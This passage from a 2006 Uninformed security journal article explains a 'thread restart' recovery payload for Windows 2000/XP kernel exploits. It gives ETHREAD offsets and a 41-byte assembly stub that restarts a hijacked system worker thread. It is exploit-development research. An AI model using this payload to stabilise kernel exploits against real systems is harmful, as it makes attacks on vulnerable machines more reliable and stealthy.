Uninformed: Informative Information for the Uninformed

Vol 3» 2006.Jan


Thread Restart

Type: R0 Recovery
Size: 41 bytes
Compat: 2000, XP
Migration: May be required
Requirements: No held locks

If a vulnerability occurs in the context of a system worker thread, it may be possible to cause the thread to restart execution at its entry point without any major adverse side effects. This avoids the issue of having to restore normal execution for the context of the current call frame. To accomplish this, the StartAddress must be extracted from the calling thread's ETHREAD structure. Due to the fact that this relies on the use of undocumented fields, it follows that portability could be a problem. The following table shows the offsets to the StartAddress routine for different operating system versions:

Platform StartAddress Offset Stack Restore Offset
Windows 2000 SP4 0x230 0x254
Windows XP SP0 0x224 0x250
Windows XP SP2 0x224 0x250

A payload that implements this approach that should be compatible with all of the above described offsets is shown below4.5:

00000000  6A24              push byte +0x24
00000002  5B                pop ebx
00000003  FEC7              inc bh
00000005  648B13            mov edx,[fs:ebx]
00000008  FEC7              inc bh
0000000A  8B6218            mov esp,[edx+0x18]
0000000D  29DC              sub esp,ebx
0000000F  01D3              add ebx,edx
00000011  803D7002DFFF01    cmp byte [0xffdf0270],0x1
00000018  7C07              jl 0x21
0000001A  8B03              mov eax,[ebx]
0000001C  83EC2C            sub esp,byte +0x2c
0000001F  EB06              jmp short 0x27
00000021  8B430C            mov eax,[ebx+0xc]
00000024  83EC30            sub esp,byte +0x30
00000027  FFE0              jmp eax

This implementation works by first obtaining the current thread context through fs:0x124. Once obtained, a check is performed to see which operating system the payload is running on by looking at the NtMinorVersion attribute of the KUSER_SHARED_DATA structure. The reason this is necessary is because the offsets needed to obtain the StartAddress of the thread and the offset that is needed when restoring the stack are different depending on which operating system is being used. After resolving the StartAddress and adjusting the stack pointer to reflect what it would have been when the function was originally called, all that's required is to transfer control to the StartAddress.

This approach, at least in this specific implementation, may be closely tied to vulnerabilities that occur in system worker thread routines, specifically those that start at nt!ExpWorkerThread. However, the principals could be applied to other system worker threads if the illustrated implementation proves limited. It is also important to realize that since this method depends on undocumented version-specific offsets, it is highly likely that it may not be portable to new versions of the kernel. This approach should also be compatible with Windows 2003 Server SP0/SP1, but the offsets are likely to be different and have not been obtained or tested at this point.